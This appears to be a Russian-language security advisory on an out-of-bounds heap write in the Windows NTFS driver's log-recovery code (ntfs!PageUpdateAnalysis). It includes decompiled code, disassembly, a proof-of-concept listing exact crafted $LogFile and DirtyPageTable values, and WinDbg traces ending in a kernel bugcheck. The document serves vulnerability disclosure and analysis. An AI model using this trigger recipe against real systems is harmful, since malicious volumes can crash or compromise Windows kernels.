[ << ALL_FEED ]

Out-of-bounds write in ntfs!PageUpdateAnalysis

Ещё в группе «Общее»

BDUPTCVE
2025-124652026-26902026-20840

Краткое описание

В функции ntfs!PageUpdateAnalysis драйвера NTFS в Microsoft Windows существует уязвимость типа переполнения буфера в куче. Специально сформированный том NTFS может привести к записи за пределами выделенной области памяти ядра NonPagedPoolNx во время восстановления журнала.

Злоумышленник может воспользоваться уязвимостью, заставив уязвимую систему Windows смонтировать том, содержащий вредоносные записи $LogFile. Возникающее в результате повреждение памяти ядра может привести к отказу в обслуживании, повышению привилегий или выполнению произвольного кода в ядре.

Ссылка на продукт

Microsoft Windows — https://www.microsoft.com/windows

CWE

CWE-787: Out-of-bounds Write

Детали

NTFS — основная файловая система, используемая Microsoft Windows. Ее журнал метаданных $LogFile содержит записи, которые используются для восстановления согласованного состояния файловой системы после прерванных операций.

ntfs!AnalysisPass реализует фазу анализа при восстановлении NTFS после перезапуска, которая предшествует фазам redo и undo. Функция просматривает записи журнала начиная с последней контрольной точки и восстанавливает состояние, необходимое для восстановления, включая таблицы транзакций и измененных страниц (dirty page tables). Эти таблицы отслеживают незавершенные транзакции и страницы метаданных, изменения которых могли не попасть на диск, что позволяет последующим фазам восстановления определить, какие операции необходимо повторить или откатить.

ntfs!PageUpdateAnalysis обрабатывает записи обновления страниц во время этой фазы анализа. Стек вызова при монтировании выглядит следующим образом:

0: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffcd8a`59bc5e08 fffff804`27ae0f6f     Ntfs!PageUpdateAnalysis
01 ffffcd8a`59bc5e10 fffff804`27b45000     Ntfs!AnalysisPass+0x22b
02 ffffcd8a`59bc5f30 fffff804`27acc3be     Ntfs!NtfsRestartVolume+0xbc
03 ffffcd8a`59bc60a0 fffff804`27ac9f86     Ntfs!NtfsMountVolume+0x1816
04 ffffcd8a`59bc67e0 fffff804`2793e639     Ntfs!NtfsCommonFileSystemControl+0xb6
05 ffffcd8a`59bc68c0 fffff804`9478b7ec     Ntfs!NtfsFspDispatch+0x619
06 ffffcd8a`59bc6a10 fffff804`94931afa     nt!ExpWorkerThread+0x5ec
07 ffffcd8a`59bc6bf0 fffff804`94b4ef84     nt!PspSystemThreadStartup+0x5a
08 ffffcd8a`59bc6c40 00000000`00000000     nt!KiStartSystemThread+0x34

NTFS хранит записи измененных страниц в выделенном блоке RESTART_TABLE в ядерном NonPagedPoolNx пуле. Каждая запись содержит массив номеров логических кластеров (LCN), емкость которого определяется размером записи:

DIRTY_PAGE_ENTRY (simplified):
  +0x00  AllocatedMarker   DWORD   (-1 indicates an in-use entry)
  +0x04  TargetAttribute   USHORT
  +0x08  LengthOfTransfer  ULONG
  +0x0C  LcnsToFollow      ULONG
  +0x10  StartingVcn       8-byte virtual cluster number
  +0x18  OldestLsn         8-byte log sequence number
  +0x20  LcnsForPage[]     Array of 8-byte LCN values

Выделение памяти для таблицы RESTART_TABLE выполняется в ntfs!InitializeRestartState, когда DirtyPageTable загружается из образа диска.

В ntfs!PageUpdateAnalysis после того как функция ntfs!FindDirtyPage возвращает существующую запись, происходит копирование значений LCN полученных из записи $LogFile, содержащейся на диске, в запись возвращенную функцией ntfs!FindDirtyPage. Именно здесь происходит запись за пределы памяти выделенной ранее для записей возвращаемых функцией ntfs!FindDirtyPage.

// ntfs!PageUpdateAnalysis
if ( !FindDirtyPage(a4, (unsigned __int16)CurrentLogRecord->TargetAttribute, CurrentLogRecord->TargetVcn, &v20) ) {
    ... // entry not found
}
while ( 1 ) {
    result = (unsigned __int16)CurrentLogRecord->LcnsToFollow;
    if ( v8 >= (unsigned int)result ) // v8 is i
      break;
    v20->LcnsForPage[LODWORD(CurrentLogRecord->TargetVcn) + v8 - LODWORD(v20->Vcn)] = CurrentLogRecord->LcnsForPage[v8];
    ++v8;
}
return result;

В исследованном бинарном файле ntfs.sys вышеуказанному декомпилированному фрагменту соответствует следующий дизассемблированный код:

1c025844c  cmp  esi, eax
1c025844e  jnb  loc_1C025846F
1c0258455  mov  rdx, [rsp+...]       ; DirtyPage entry
1c025845a  sub  ecx, [rdx+10h]       ; subtract StartingVcn, low 32 bits
1c025845d  add  ecx, [r13+18h]       ; add TargetVcn, low 32 bits
1c0258461  mov  rax, [r13+r8*8+20h]  ; LogRecord->LcnsForPage[i]
1c0258466  mov  [rdx+rcx*8+20h], rax ; unchecked destination write
1c025846b  inc  esi
1c025846d  jmp  short loc_1C0258447

Фактический индекс, по которому осуществляется запись, вычисляется с использованием 32-битной арифметики следующим образом:

Index = i + TargetVcn - StartingVcn

ntfs!FindDirtyPage считает запись подходящей при выполнении условия: StartingVcn <= TargetVcn < StartingVcn + LcnsToFollow:

char __fastcall FindDirtyPage(
        My_RESTART_POINTERS *a1,
        int TargetAttribute,
        signed __int64 Vcn,
        My_DIRTY_PAGE_ENTRY **DirtyPage)
{
  My_DIRTY_PAGE_ENTRY *i; // rax
  __int64 v9; // rdx

  if ( !a1->Table )
    return 0;
  for ( i = (My_DIRTY_PAGE_ENTRY *)NtfsGetFirstRestartTable(a1);
        ;
        i = (My_DIRTY_PAGE_ENTRY *)NtfsGetNextRestartTable((__int64)a1, (__int64)i) )
  {
    if ( !i )
    {
      *DirtyPage = 0LL;
      return 0;
    }
    if ( i->TargetAttribute == TargetAttribute )
    {
      v9 = i->Vcn; // v9 is a starting VCN
      if ( Vcn >= v9 && Vcn < v9 + (unsigned int)i->LcnsToFollow )
        break;
    }
  }
  *DirtyPage = i;
  return 1;
}

Таким образом проверяется, что начальный кластер находится внутри записи, однако не проверяется, помещается ли в нее весь входящий диапазон. При TargetVcn = StartingVcn + k, цикл выполняет запись по индексам от k до k + LcnsToFollow - 1. Переполнение массива возникает при условии:

k + LcnsToFollow > ClustersPerPage

Функция ntfs!PageUpdateAnalysis содержит проверку необходимости изменения размера RESTART_TABLE, из которой осуществляется выборка функцией ntfs!FindDirtyPage, но эта проверка выполняется только если LcnsToFollow > ClustersPerPage. При этом смещение k не учитывается. В результате запись, количество LCN в которой не превышает номинальную емкость, все равно может привести к переполнению массива назначения.

// ntfs!PageUpdateAnalysis
...
if ( Table ) {
    ClustersPerPage = (((unsigned __int64)(unsigned __int16)Table->EntrySize - 40) >> 3) + 1;
}
else {
    ClustersPerPage = a2->ClustersPerPage;
    NtfsInitializeRestartTable(8 * ClustersPerPage + 32, 0x20u, a2->RestartVersion >= 2u, 0, a4);
}
LcnsToFollow = (unsigned __int16)CurrentLogRecord->LcnsToFollow;
if ( LcnsToFollow > ClustersPerPage ) {
    ClustersPerPage = (unsigned __int16)CurrentLogRecord->LcnsToFollow;
    NtfsInitializeRestartTable(
      8 * LcnsToFollow + 32,
      (unsigned __int16)a4->Table->NumberEntries,
      a2->RestartVersion >= 2u,
      0,
      &Resource); // resize
    ...
}
...

Ни перед записью в функции ntfs!PageUpdateAnalysis, ни при чтении записей с диска в ntfs!InitializeRestartState отсутствует достаточная валидация данных, более того, ntfs!InitializeRestartState принимает данные записей DirtyPageTable как есть, если MajorVersion файла $LogFile не равен нулю.

// ntfs!InitializeRestartState
...
if ( RestartArea->DirtyPageTableLength )
  {
    restarted = (My_RESTART_TABLE *)ReadRestartTable(
                                      IrpContext,
                                      Vcb,
                                      RestartArea->DirtyPageTableLsn,
                                      &Leb,
                                      &RestartAreaLength);
    ExAcquireResourceExclusiveLite(&DirtyPageTable->Resource, 1u);
    v80 = 1;
    Table = DirtyPageTable->Table;
    if ( RestartArea->MajorVersion ) // MajorVersion check
    {
      ExFreePoolWithTag(DirtyPageTable->Table, 0);
      DirtyPageTable->Table = 0;
      v26 = RestartAreaLength;
      v27 = (My_RESTART_TABLE *)ExAllocatePoolWithTag((POOL_TYPE)528, RestartAreaLength, 'RFtN');
      DirtyPageTable->Table = v27;
      memmove(v27, restarted, v26); // data from image has been accepted here
      DirtyPageTable->Table->field_A = DirtyPageTable->Table->NumberAllocated;
      ExAcquireResourceExclusiveLite(&DirtyPageTable->Resource, 1u);
      v80 = 1;
      LODWORD(restarted) = 0;
    }
    else
    {
      ...
    }
    ...
}

Proof of Concept

При монтировании специально сформированного тома NTFS выполняет следующие операции:

  1. ntfs!InitializeRestartState считывает сериализованную DirtyPageTable из $LogFile.
  2. Поскольку RESTART_AREA имеет ненулевое значение MajorVersion, вся таблица копируется в новый выделенный буфер NonPagedPoolNx.
  3. ntfs!AnalysisPass начинает сканирование с подготовленной контрольной точки.
  4. Следующей обрабатывается специально сформированная запись UpdateResidentValue.
  5. Входящее значение LcnsToFollow равно 8, то есть совпадает с ClustersPerPage, поэтому ветвь изменения размера таблицы не выполняется.
  6. ntfs!PageUpdateAnalysis вызывает ntfs!FindDirtyPage с TargetAttribute = 0x18 и TargetVcn = 7.
  7. ntfs!FindDirtyPage выбирает слот 31, поскольку его диапазон равен [0, 8) и, следовательно, содержит VCN 7.
  8. Уязвимая операция копирования записывает восемь переданных значений LCN, начиная с индекса назначения 7.

В созданной для PoC RESTART_AREA используется MajorVersion = 2. В результате Ntfs!InitializeRestartState выделяет буфер для DirtyPageTable и копирует таблицу непосредственно из образа, не перестраивая ее записи.

PoC создает RESTART_TABLE со следующими параметрами:

EntrySize       = 0x60
NumberEntries   = 32
NumberAllocated = 32

Каждая запись содержит восемь слотов LCN:

EntrySize = 0x20 + 8 * sizeof(LCN)
          = 0x20 + 8 * 8
          = 0x60

Все 32 записи помечены как занятые, поэтому ntfs!PageUpdateAnalysis не может выбрать или создать свободный слот. Записи с нулевой по 30-ю используют отдельные диапазоны VCN, которые не совпадают с диапазоном инициирующей записью. Последняя запись, слот 31, настроена следующим образом:

AllocatedMarker  = 0xffffffff
TargetAttribute  = 0x18
LengthOfTransfer = 0x1000
StartingVcn      = 0
LcnsToFollow     = 8
LcnsForPage      = {1, 2, 3, 4, 5, 6, 7, 8}

Поскольку слот 31 является последней записью, данные, записываемые за пределами его массива LCN, одновременно выходят за пределы всего выделенного блока RESTART_TABLE.

sizeof(RESTART_TABLE) + NumberEntries * EntrySize
= 0x18 + 32 * 0x60
= 0xc18 (3096 bytes)

В приведенном ниже фрагменте показано, как DirtyPageTable инициализируется во время выполнения, а также часть данных, соответствующих описанной выше структуре.

0: kd> p
rax=0000000000000001 rbx=ffffe180efdf0200 rcx=ffffe180efdefaa8
rdx=0000000000000000 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a95792 rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=ffff8f8d385def01  r9=ffff8f8d385deae0 r10=0000000000000000
r11=ffffe180efdefb68 r12=ffffe180efdefe00 r13=0000000000000000
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!InitializeRestartState+0x51e:
fffff806`28a95792 4539542438      cmp     dword ptr [r12+38h],r10d ds:002b:ffffe180`efdefe38=00000c18
...
1: kd> p
rax=0000000000000000 rbx=0000000000000c18 rcx=0000000000000210
rdx=0000000000000c18 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a95942 rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=000000005246744e  r9=0000000000000000 r10=0000000000000000
r11=0000000000000001 r12=ffffe180efdefe00 r13=ffffcd0fd11c0158
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!InitializeRestartState+0x6ce:
fffff806`28a95942 48ff158f0ae7ff  call    qword ptr [Ntfs!_imp_ExAllocatePoolWithTag (fffff806`289063d8)] 
...
1: kd> p
rax=ffff8f8d385d03e0 rbx=0000000000000c18 rcx=ffff8f8d385d03e0
rdx=ffffcd0fd11c0158 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a9595e rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=0000000000000c18  r9=0000000000000080 r10=0000000000000000
r11=ffffe180efdefae0 r12=ffffe180efdefe00 r13=ffffcd0fd11c0158
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286
Ntfs!InitializeRestartState+0x6ea:
fffff806`28a9595e e8ddf1e1ff      call    Ntfs!memcpy (fffff806`288b4b40)
1: kd> db ffffcd0fd11c0158
ffffcd0f`d11c0158  60 00 20 00 20 00 00 00-00 00 00 00 00 00 00 00  `. . ...........
ffffcd0f`d11c0168  00 00 00 00 00 00 00 00-ff ff ff ff 18 00 00 00  ................
ffffcd0f`d11c0178  00 10 00 00 08 00 00 00-00 10 00 00 00 00 00 00  ................
ffffcd0f`d11c0188  2b 94 a8 00 00 00 00 00-01 00 00 00 00 00 00 00  +...............
ffffcd0f`d11c0198  02 00 00 00 00 00 00 00-03 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01a8  04 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01b8  06 00 00 00 00 00 00 00-07 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01c8  08 00 00 00 00 00 00 00-ff ff ff ff 18 00 00 00  ................

Запись приводящая к детонации уязвимости, использует redo-операцию UpdateResidentValue, которая передается на обработку в ntfs!PageUpdateAnalysis. Значение некоторых важных полей вы можете видеть ниже:

RedoOperation   = 0x07
UndoOperation   = 0x02
TargetAttribute = 0x18
TargetVcn       = 7
LcnsToFollow    = 8
ClientDataLength = 0x60

В отладчике видно, как операция обрабатывается в ntfs!PageUpdateAnalysis:

1: kd> p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=0000000000000000
rdx=ffff8f8d356279e8 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f1c rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=ffffffffffffff01  r9=ffff8f8d35625000 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!AnalysisPass+0x1d8:
fffff806`28a30f1c 410fb70f        movzx   ecx,word ptr [r15] ds:002b:ffffcd0f`d11ca188=0007
1: kd> p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=0000000000000007
rdx=ffff8f8d356279e8 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f20 rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=ffffffffffffff01  r9=ffff8f8d35625000 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!AnalysisPass+0x1dc:
fffff806`28a30f20 83f912          cmp     ecx,12h
... // some optimized switch-case related code is here 
0: kd> p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=ffff8f8d3514b7c8
rdx=ffff8f8d357c81b0 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f6a rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=0000000000a8942b  r9=ffffe180efdeff90 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!AnalysisPass+0x226:
fffff806`28a30f6a e8f1080000      call    Ntfs!PageUpdateAnalysis (fffff806`28a31860)

Индексы назначения вычисляются следующим образом:

Index = i + TargetVcn - StartingVcn = i + 7 - 0 = i + 7

Для i = 0..7 получаются следующие индексы:

7, 8, 9, 10, 11, 12, 13, 14

Индекс 7 является последним допустимым элементом. Индексы с 8 по 14 находятся за пределами записи.

Поскольку выбранная запись находится в слоте 31, эти семь значений LCN записываются на 56 байт за пределами всей таблицы DirtyPageTable размером 3096 байт.

1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000008
rdx=0000000000000001 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a3198f rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x12f:
fffff806`28a3198f 8bd6            mov     edx,esi
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000008
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31991 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x131:
fffff806`28a31991 8bce            mov     ecx,esi
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000002
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31993 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x133:
fffff806`28a31993 412b4a10        sub     ecx,dword ptr [r10+10h] ds:002b:ffff8f8d`385d0fa8=00000000 // StartingVCN
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000002
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31997 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!PageUpdateAnalysis+0x137: // actually it is i (index) + TargetVCN
fffff806`28a31997 41034d18        add     ecx,dword ptr [r13+18h] ds:002b:ffffcd0f`d11ca1a0=00000007 // TargetVCN
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000009
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a3199b rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
Ntfs!PageUpdateAnalysis+0x13b:    // read data that comes from image
fffff806`28a3199b 498b44d520      mov     rax,qword ptr [r13+rdx*8+20h] ds:002b:ffffcd0f`d11ca1b8=4141414100000002
1: kd> p
rax=4141414100000002 rbx=0000000000a8942b rcx=0000000000000009 // rcx is i (index)
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a319a0 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
Ntfs!PageUpdateAnalysis+0x140:
fffff806`28a319a0 498944ca20      mov     qword ptr [r10+rcx*8+20h],rax ds:002b:ffff8f8d`385d1000=????????????????

Монтирование сгенерированного VHD, в системе с уязвимой версией ntfs.sys, приводит к повреждению памяти происходящему в результате записи за пределами буфера в функции Ntfs!PageUpdateAnalysis:

1: kd> !analyze -v -force
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff8f8d385d1000, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
    bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the processor decided the fault was due to a corrupted PTE.
    bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
    - ARM64: bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff80628a319a0, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 0000000000000002, (reserved)

Debugging Details:
------------------


KEY_VALUES_STRING: 1

    Key  : AV.PTE
    Value: Invalid

    Key  : AV.Page.Virtual
    Value: 0xffff8f8d385d0000

    Key  : AV.Type
    Value: Write

    Key  : Analysis.CPU.mSec
    Value: 4500

    Key  : Analysis.Elapsed.mSec
    Value: 9710

    Key  : Analysis.IO.Other.Mb
    Value: 14

    Key  : Analysis.IO.Read.Mb
    Value: 15

    Key  : Analysis.IO.Write.Mb
    Value: 201

    Key  : Analysis.Init.CPU.mSec
    Value: 97484

    Key  : Analysis.Init.Elapsed.mSec
    Value: 11291658

    Key  : Analysis.Memory.CommitPeak.Mb
    Value: 265

    Key  : Analysis.Version.DbgEng
    Value: 10.0.29617.1000

    Key  : Analysis.Version.Description
    Value: 10.2604.29.1 amd64fre

    Key  : Analysis.Version.Ext
    Value: 1.2604.29.1

    Key  : Bugcheck.Code.KiBugCheckData
    Value: 0x50

    Key  : Bugcheck.Code.LegacyAPI
    Value: 0x50

    Key  : Bugcheck.Code.TargetModel
    Value: 0x50

    Key  : Failure.Bucket
    Value: AV_VRF_Ntfs!PageUpdateAnalysis

    Key  : Failure.Exception.IP.Address
    Value: 0xfffff80628a319a0

    Key  : Failure.Exception.IP.Module
    Value: Ntfs

    Key  : Failure.Exception.IP.Offset
    Value: 0x1d19a0

    Key  : Failure.Hash
    Value: {9d54520b-212c-9f3b-ad4b-052c7a9e7f7e}

    Key  : Faulting.IP.Type
    Value: Paged

    Key  : Hypervisor.Enlightenments.Value
    Value: 1113060

    Key  : Hypervisor.Enlightenments.ValueHex
    Value: 0x10fbe4

    Key  : Hypervisor.Flags.AnyHypervisorPresent
    Value: 1

    Key  : Hypervisor.Flags.ApicEnlightened
    Value: 0

    Key  : Hypervisor.Flags.ApicVirtualizationAvailable
    Value: 0

    Key  : Hypervisor.Flags.AsyncMemoryHint
    Value: 0

    Key  : Hypervisor.Flags.CoreSchedulerRequested
    Value: 0

    Key  : Hypervisor.Flags.CpuManager
    Value: 0

    Key  : Hypervisor.Flags.DeprecateAutoEoi
    Value: 1

    Key  : Hypervisor.Flags.DynamicCpuDisabled
    Value: 1

    Key  : Hypervisor.Flags.Epf
    Value: 0

    Key  : Hypervisor.Flags.ExtendedProcessorMasks
    Value: 1

    Key  : Hypervisor.Flags.HardwareMbecAvailable
    Value: 0

    Key  : Hypervisor.Flags.MaxBankNumber
    Value: 0

    Key  : Hypervisor.Flags.MemoryZeroingControl
    Value: 0

    Key  : Hypervisor.Flags.NoExtendedRangeFlush
    Value: 0

    Key  : Hypervisor.Flags.NoNonArchCoreSharing
    Value: 0

    Key  : Hypervisor.Flags.Phase0InitDone
    Value: 1

    Key  : Hypervisor.Flags.PowerSchedulerQos
    Value: 0

    Key  : Hypervisor.Flags.RootScheduler
    Value: 0

    Key  : Hypervisor.Flags.SynicAvailable
    Value: 1

    Key  : Hypervisor.Flags.UseQpcBias
    Value: 0

    Key  : Hypervisor.Flags.Value
    Value: 528572

    Key  : Hypervisor.Flags.ValueHex
    Value: 0x810bc

    Key  : Hypervisor.Flags.VpAssistPage
    Value: 1

    Key  : Hypervisor.Flags.VsmAvailable
    Value: 0

    Key  : Hypervisor.RootFlags.AccessStats
    Value: 0

    Key  : Hypervisor.RootFlags.CrashdumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.CreateVirtualProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.DisableHyperthreading
    Value: 0

    Key  : Hypervisor.RootFlags.HostTimelineSync
    Value: 0

    Key  : Hypervisor.RootFlags.HypervisorDebuggingEnabled
    Value: 0

    Key  : Hypervisor.RootFlags.IsHyperV
    Value: 0

    Key  : Hypervisor.RootFlags.LivedumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.MapDeviceInterrupt
    Value: 0

    Key  : Hypervisor.RootFlags.MceEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.Nested
    Value: 0

    Key  : Hypervisor.RootFlags.StartLogicalProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.Value
    Value: 0

    Key  : Hypervisor.RootFlags.ValueHex
    Value: 0x0

    Key  : SecureKernel.HalpHvciEnabled
    Value: 0

    Key  : WER.OS.Branch
    Value: ge_release

    Key  : WER.OS.Version
    Value: 10.0.26100.1


BUGCHECK_CODE:  50

BUGCHECK_P1: ffff8f8d385d1000

BUGCHECK_P2: 2

BUGCHECK_P3: fffff80628a319a0

BUGCHECK_P4: 2

FAULTING_THREAD:  ffff8f8d2e595040

EXCEPTION_PARAMETER1:  0000000000000001

EXCEPTION_PARAMETER2:  ffff8f8d385d1000

WRITE_ADDRESS:  ffff8f8d385d1000 Special pool

MM_INTERNAL_CODE:  2

PROCESS_NAME:  System

IP_IN_PAGED_CODE: 
Ntfs!PageUpdateAnalysis+140
fffff806`28a319a0 498944ca20      mov     qword ptr [r10+rcx*8+20h],rax

STACK_TEXT:  
ffffe180`efdef068 fffff806`959ace42     : ffffe180`efdef0e8 00000000`00000001 00000000`00000080 fffff806`95ab7901 : nt!DbgBreakPointWithStatus
ffffe180`efdef070 fffff806`959ac36c     : 00000000`00000003 ffffe180`efdef1d0 fffff806`95ab7b00 ffffe180`efdef790 : nt!KiBugCheckDebugBreak+0x12
ffffe180`efdef0d0 fffff806`958f6537     : 00000000`00000000 fffff806`957d1cb6 ffff8f8d`385d1000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffe180`efdef860 fffff806`957d194c     : 00000000`00000050 ffff8f8d`385d1000 00000000`00000002 ffffe180`efdefb00 : nt!KeBugCheckEx+0x107
ffffe180`efdef8a0 fffff806`95640510     : 00000000`00000000 ffff8000`00000000 ffff8f8d`385d1000 0000007f`fffffff8 : nt!MiSystemFault+0x7a0
ffffe180`efdef990 fffff806`95aacfcb     : 00000000`00000000 00000000`00000000 00000000`00000008 00000000`00000000 : nt!MmAccessFault+0x630
ffffe180`efdefb00 fffff806`28a319a0     : ffffe180`efdeff90 00000000`00000001 ffff8f8d`356279b8 00000000`00000001 : nt!KiPageFault+0x38b
ffffe180`efdefc90 fffff806`28a30f6f     : 00000000`00a8942b ffffe180`efdf08f0 ffff8f8d`357c85d8 00000000`000000e0 : Ntfs!PageUpdateAnalysis+0x140
ffffe180`efdefe10 fffff806`28a95000     : ffff8f8d`3514b7c8 ffff8f8d`357c81b0 00000000`00000000 ffffe180`efdeff90 : Ntfs!AnalysisPass+0x22b
ffffe180`efdeff30 fffff806`28a1c3be     : ffff8f8d`3514b988 00000000`00000001 ffff8f8d`3514b7c8 ffff8f8d`3514b988 : Ntfs!NtfsRestartVolume+0xbc
ffffe180`efdf00a0 fffff806`28a19f86     : 00000000`00000000 00000000`00000000 00000000`00000000 ffff8f8d`2e5950b8 : Ntfs!NtfsMountVolume+0x1816
ffffe180`efdf07e0 fffff806`2888e639     : ffff8f8d`3514b7c8 ffffe180`efdf08f0 00000000`00000008 ffff8f8d`2e595040 : Ntfs!NtfsCommonFileSystemControl+0xb6
ffffe180`efdf08c0 fffff806`956db7ec     : ffff8f8d`2e595040 ffff8f8d`2e595040 ffff8f8d`2a757ae0 fffff806`2888e020 : Ntfs!NtfsFspDispatch+0x619
ffffe180`efdf0a10 fffff806`95881afa     : ffff8f8d`2e595040 ffff8f8d`2e595040 fffff806`956db200 ffff8f8d`2a757ae0 : nt!ExpWorkerThread+0x5ec
ffffe180`efdf0bf0 fffff806`95a9ef84     : fffff806`2625e180 ffff8f8d`2e595040 fffff806`95881aa0 00000000`00000000 : nt!PspSystemThreadStartup+0x5a
ffffe180`efdf0c40 00000000`00000000     : ffffe180`efdf1000 ffffe180`efdeb000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x34


SYMBOL_NAME:  Ntfs!PageUpdateAnalysis+140

MODULE_NAME: Ntfs

IMAGE_NAME:  Ntfs.sys

IMAGE_VERSION:  10.0.26100.6899

STACK_COMMAND: .process /r /p 0xffff8f8d2a691040; .thread /r /p 0xffff8f8d2e595040 ; kb

BUCKET_ID_FUNC_OFFSET:  140

